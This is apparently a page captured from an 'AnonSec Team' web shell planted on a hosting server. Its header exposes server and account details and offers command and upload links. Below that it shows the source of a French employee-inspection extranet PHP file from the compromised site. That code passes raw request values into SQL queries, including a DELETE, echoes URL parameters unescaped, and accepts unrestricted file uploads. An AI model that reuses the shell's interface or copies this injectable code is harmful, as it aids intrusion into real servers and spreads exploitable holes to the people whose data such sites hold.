AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/controle_sal.php
<?php



include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;



 // echo "<pre>" ;
// print_r($_POjST) ;
// echo "</pre>" ;


if($_GET['sup'] == 1 )
{
dbi_query("DELETE FROM `controle_extranet` WHERE id_controle_extranet =".$_GET['id_controle_extranet'])  ;
header('Location:controle_sal.php?msg=Ligne bien supprimé&color=success');

}




 if($_POST["Modifier"]== "Modifier"){
	 // echo "aa <br/>" ;
	 // exit() ;
  if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name']))
  {

// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;

// exit() ;
  

  $id_controle_extranet=$_POST['id_controle_extranet'] ;
						$controle_informations=addslashes($_POST['controle_informations']) ;
						$controle_note=$_POST['controle_note'] ;
						$salarie_id = $_POST['salarie_id'] ;  // salarie controlé
                           

             

						dbi_query("

						UPDATE `controle_extranet` SET
						controle_note = '$controle_note',

						controle_informations = '$controle_informations',
						salarie_id_2 = '$salarie_id'
                       
						WHERE id_controle_extranet = '$id_controle_extranet'

					    ") ;
						header('Location:controle_sal.php?msg=Linge bien Modifié&color=success');
  }
  else
  {

list($value) = dbi_fetch_row(dbi_query("SELECT value FROM `config` WHERE `conf_id` = 2170 ")) ;
				
				  
				  
				  			$target_dir_2 = "photo_controle_extranet/";

			  $target_file_2 = $target_dir_2.basename($value).".jpg";

  $uploadOk = 1;
  $imageFileType = strtolower(pathinfo($target_file_2,PATHINFO_EXTENSION));
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file_2) ;

				 // header("location: salarie_document.php?msg=Course added&color=success");

				        $id_controle_extranet=$_POST['id_controle_extranet'] ;
						$controle_informations=addslashes($_POST['controle_informations']) ;
						$controle_note=$_POST['controle_note'] ;
						$salarie_id = $_POST['salarie_id'] ;  // salarie controlé




						dbi_query("

						UPDATE `controle_extranet` SET
						controle_note = '$controle_note',
						controle_photo = '$target_file_2' ,
						controle_informations = '$controle_informations' ,
						salarie_id_2 = '$salarie_id'
						WHERE id_controle_extranet = '$id_controle_extranet'

					    ") ;
							$new_value = $value + 1 ;
						dbi_query("UPDATE `config` SET `value` = $new_value WHERE `config`.`conf_id` = 2170") ;
						header('Location:controle_sal.php?msg=Ligne modifié&color=success');
						// header("location: course.php");




  }
}




$user_id=$_SESSION['MCPRO_sal']['user_id'] ;

$q=  dbi_query("SELECT * FROM `controle_extranet` WHERE `salarie_id` = $user_id") ; 

// exit() ; 
// $_SESSION['client_id'] = "" ;

// $info_sal = dbi_fetch_row(dbi_query(" SELECT * FROM `salarie` WHERE `salarie_id` =   ".$_SESSION['MCPRO_sal']['user_id'])) ;

 // $_SESSION['type'] = $info_sal['salarie_type'] ;




						 if($_POST["Enregistrer"]== "Enregistrer" )
			 {

// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;

// exit() ;


 
				  list($value) = dbi_fetch_row(dbi_query("SELECT value FROM `config` WHERE `conf_id` = 2170 ")) ;
				
				  
				  
				  			$target_dir_2 = "photo_controle_extranet/";

			  $target_file_2 = $target_dir_2 . basename($value).".jpg";

  $uploadOk = 1;
  $imageFileType = strtolower(pathinfo($target_file_2,PATHINFO_EXTENSION));
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file_2) ;



				  
			  // $target_dir = "photo_controle_extranet/";
  // $_FILES["file"]["name"] = str_replace(" ", "a",$_FILES["file"]["name"]);

  // $target_file = $target_dir .$value."_" .str_replace("'", "a",$_FILES["file"]["name"]);

  // $uploadOk = 1;
  // $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));


				 // move_uploaded_file($_FILES["file"]["tmp_name"], $target_file) ;

				 // header("location: salarie_document.php?msg=Course added&color=success");

						$controle_informations=addslashes($_POST['controle_informations']) ;
						$controle_note=$_POST['controle_note'] ;
						
						
						
						if(!empty($_POST['client_id'])){
							$client_id=$_POST['client_id'] ;
							$_SESSION['client_id_control']=$_POST['client_id'] ;
						}else{
							$client_id = $_SESSION['client_id_control'] ;
						}
						
						$salarie_id_2 = $_POST['salarie_id'] ;  // salarie controlé
                        $date = date('y-m-d h:i:s');


   $todayy = date('Ymd') ; 
list($frequence_client) = dbi_fetch_row(dbi_query("SELECT frequence_client  FROM `client` WHERE `client_id` = ".$client_id)) ;
 $prochaine_controle = date('Ymd', strtotime($todayy. ' + '.$frequence_client.' days'));
 
 echo "===>".$prochaine_controle."<br/>" ; 
						dbi_query("INSERT INTO controle_extranet (

						controle_note,
						controle_informations,
						controle_photo,
						date,
						salarie_id,
						client_id,
						salarie_id_2
						
						)

						VALUES (

						'$controle_note',
						'$controle_informations',
						'$target_file_2',
						'$date',
						 '$user_id',
						 '$client_id',
						 '$salarie_id_2'
						 

					    )") ;
						$new_value = $value + 1 ;
						dbi_query("UPDATE `config` SET `value` = $new_value WHERE `config`.`conf_id` = 2170") ;
						header('Location:controle_sal.php?msg=Linge bien ajouté&color=success');
						// header("location: course.php");
			 }


// if(!empty($_POST))
// {
	// extract($_post) ; 	
// }
?>







<html>

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <title> MCPRO | EXTRANET</title>
												<!-- Tell the browser to be responsive to screen width -->
 <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">

  <!-- lista -->
  					  <link rel="stylesheet" href="../../plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="../../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">							<!-- Font Awesome -->
  <link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
    <!-- lista -->

  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <link rel="stylesheet" href="../../dist/css/adminlte.min.css">
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
 
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
</head>

<body class="hold-transition layout-top-nav">
<div class="wrapper">
  <!-- Navbar -->
  <nav class="main-header navbar navbar-expand navbar-white navbar-light">
    <ul class="navbar-nav">
         <li class="nav-item">
              <a class="nav-link" data-widget="pushmenu" href="#"></a>
         </li>
         <li>
              <a href="index_sal.php"><button type="button" class="btn btn-info"><i class="fas fa-reply"></i> MENU PRINCIPAL</button>
        </li>
    </ul>
  </nav>
  <!-- /.navbar -->

  <!-- Main Sidebar Container -->
  <?php
  include('aside.php');

  ?>
  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">

      </div><!-- /.container-fluid -->
    </section>

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
        <div class="row">
          <div class="col-md-12">




            <!-- Profile Image -->

            <!-- /.card -->

            <!-- About Me Box -->
            <div class="card card-primary">

              <!-- /.card-header -->
              <div class="card-body">
			  		  <?php
			      if(isset($_GET["msg"])){
        ?>
        <div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
          <strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
          <button type="button" class="close" data-dismiss="alert" aria-label="Close">
            <span aria-hidden="true">&times;</span>
          </button>
        </div>
        <?php
        }
       
	    if(!empty($_GET['id_controle_extranet']))
  {
	  $req= dbi_fetch_row(dbi_query("SELECT * FROM `controle_extranet` WHERE `id_controle_extranet` = ".$_GET['id_controle_extranet'])) ; 
	  ?>
<form action="" enctype="multipart/form-data"  method="POST">

                <div class="form-row">

                <div class="form-group col-md-4">
                   <label for="exampleInputFile">T&#233;l&#233;charger <a target="_blank" href="<?php echo $req['controle_photo']; ?>">(voir ancienne photo)</a><br> </label>
                    <div class="input-group">
                      <div class="custom-file">
                        <input type="file" class="custom-file-input" name="file">

                        <label class="custom-file-label" for="exampleInputFile">Prendre une Photo</label>
                      </div>

					   <div class="input-group-append">
                        <span class="input-group-text" id="">Upload</span>
                      </div>
                    </div>
					
					
					</div>
					
					
					
					 <div class="form-group col-md-4" id="hidden4"><!-- Liste déroulante jour -->  
										
										<select class="form-control select2" style="width: 100%;"   name="salarie_id" id="salarie_idupd">
											<option value="NULL">Selectinner salarié</option>
											<?php $req_s =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
											while(  $sal=dbi_fetch_row($req_s)) { ?>
												<option value="<?php echo $sal['salarie_id'] ; ?>" <?php if( $sal['salarie_id']== $req['salarie_id_2']) echo "SELECTED"  ; ?> ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
												<?php   }	?>
										</select>
									</div>
									
									
                    <input type="hidden" value="<?php echo $_GET['id_controle_extranet']; ?>" name="id_controle_extranet">
                  <div class="form-group col-md-1"><!-- Liste déroulante statut -->

                                <select class="form-control" name="controle_note" required="required">
                				<option value=""> Note </option>
                                          <option   value="1/5"  <?php if($req['controle_note'] == '1/5') echo 'selected' ; ?>>1/5</option>
                                          <option value="2/5" <?php if($req['controle_note'] == '2/5') echo 'selected' ; ?>>2/5</option>
                                          <option value="3/5" <?php if($req['controle_note'] == '3/5') echo 'selected' ; ?>>3/5</option>
                                          <option value="4/5" <?php if($req['controle_note'] == '4/5') echo 'selected' ; ?>>4/5</option>
                                          <option value="5/5" <?php if($req['controle_note'] == '5/5') echo 'selected' ; ?>>5/5</option>
                                </select>
                    </div>

                  <div class="form-group col-md-6">
                    <textarea class="form-control" rows="3" name="controle_informations" placeholder="Informations...."> <?=$req['controle_informations'] ?></textarea>
                  </div>
   <br/>
                  <div class="form-row">

                  <div class="form-group col-md-2">
                    <button type="submit" name="Modifier"  value="Modifier" class="btn btn-primary">Modifier</button>
                  </div>
                </div>

</form>
</div>

 <?php
        }
		else
		{
			 // echo ""$_GET['client_id']."<br/>" ;
			?>
			<form action="" enctype="multipart/form-data"  method="POST">

                <div class="form-row">

                <div class="form-group col-md-4">
                  
                    <div class="input-group">
                      <div class="custom-file">
                        <input type="file" class="custom-file-input" name="file">

                        <label class="custom-file-label" for="exampleInputFile">Prendre une Photo</label>
                      </div>

					   <div class="input-group-append">
                        <span class="input-group-text" id="">Upload</span>
                      </div>

                    </div>
					</div>
										 <div class="form-group col-md-4" id="hidden4"><!-- Liste déroulante jour -->  
										
										<select class="form-control select2" style="width: 100%;"   name="salarie_id" id="salarie_idupd">
										<option value="NULL">Selectinner salarié</option>
											<?php $req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
											while(  $sal=dbi_fetch_row($req)) { ?>
												<option value="<?php echo $sal['salarie_id'] ; ?>" <?php if( $sal['salarie_id']== $prest['salarie_id']) echo "SELECTED"  ; ?> ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
												<?php   }	?>
										</select>
									</div>
                 <input type="hidden" value="<?php echo $_GET['client_id']; ?>" name="client_id">
                  <div class="form-group col-md-1"><!-- Liste déroulante statut -->

                                <select class="form-control" name="controle_note" required="required">
                				<option value=""> Note </option>
                                          <option value="1/5">1/5</option>
                                          <option value="2/5">2/5</option>
                                          <option value="3/5">3/5</option>
                                          <option value="4/5">4/5</option>
                                          <option value="5/5">5/5</option>
                                </select>
                    </div>

                  <div class="form-group col-md-6">
                    <textarea class="form-control" rows="3" name="controle_informations" placeholder="Informations...."></textarea>
                  </div>

                  <div class="form-row">

                  <div class="form-group col-md-2">
                    <button type="submit" name="Enregistrer"  value="Enregistrer" class="btn btn-primary">Enregistrer</button>
                  </div>
                </div>

</form>
</div>

			
			<?php
		}
	 ?>
                <section class="content">
                     <div class="row">
                       <div class="col-12">

                           </div>
                           <!-- /.card-header -->
                           <div class="card-body">
                             <table id="example1" class="table table-bordered table-striped">
                               <thead>
                               <tr>
                                 <th> Date </th>
                                 <th> Note </th>
                                 <th>Commentaires</th>     		<!-- /.Table Client - Champs client_nom -->
								 <th>Administratif</th>  
								 <th>Client</th>  
								 <th>Salarié</th>  
                               	 <th></th>

                               </tr>
                               </thead>
                               <tbody>
							   <?php
                                    

               					     		while($cl=dbi_fetch_row($q))
				{
					
					list($client_nom) =  dbi_fetch_row(dbi_query("SELECT client_nom FROM `client` WHERE `client_id` = ".$cl['client_id'])) ; 
					list($user_nom ,$user_prenom) = dbi_fetch_row(dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$cl['salarie_id'])) ;
					list($salarie_nom ,$salarie_prenom) = dbi_fetch_row(dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$cl['salarie_id_2'])) ;
					
					?>

					<tr>
                  <td><?php echo $cl['date'] ; ?></td>
				  <td><?php echo $cl['controle_note'] ; ?></td>
				  <td><?php echo $cl['controle_informations'] ; ?></td>
				
				   <td><?php echo $user_nom." ".$user_prenom ; ?></td>
				   <td><?php echo $client_nom ; ?></td>
				   <td><?php echo $salarie_nom." ".$salarie_nom ; ?></td>






				 	<td>
				   <a class="btn btn-primary btn-sm" target="_blank" href="<?php echo $cl['controle_photo'];?>"><i class="fas fa-file"> Voir
                              </i>
                              </a>
				   <a class="btn btn-info btn-sm" href="controle_sal.php?id_controle_extranet=<?=$cl['id_controle_extranet']?>&amp"> Editer
               <i class="fas fa-pencil-alt"></i>

                   </a>
				   	   <a class="btn btn-danger btn-sm" href="controle_sal.php?id_controle_extranet=<?=$cl['id_controle_extranet']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer cette ligne ?');">

				  <i class="fas fa-trash"> Supprimer
                              </i>
				   </a>
				   </td>

                </tr>

					<?php
				}
				?>






                               </tbody>

                             </table>
                           </div>
                           <!-- /.card-body -->
                         </div>
                         <!-- /.card -->
                       </div>
                       <!-- /.col -->
                     </div>
                     <!-- /.row -->
                   </section>















                </div>



            </div>
            <!-- /.card -->
          </div>
          <!-- /.col -->

          <!-- /.col -->
        </div>
        <!-- /.row -->
      </div><!-- /.container-fluid -->
    </section>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->
  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.2.0
    </div>
    <strong>MC PRO 2023 </strong>
  </footer>
  
  
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- header -->	

<script>
  $(function () {
	    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })
    // Summernote
    $('.textarea').summernote()
  })
</script>


  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>

<script type="text/javascript">
$(document).ready(function () {
  bsCustomFileInput.init();
});
</script>

</body>
</html>

AnonSec - 2021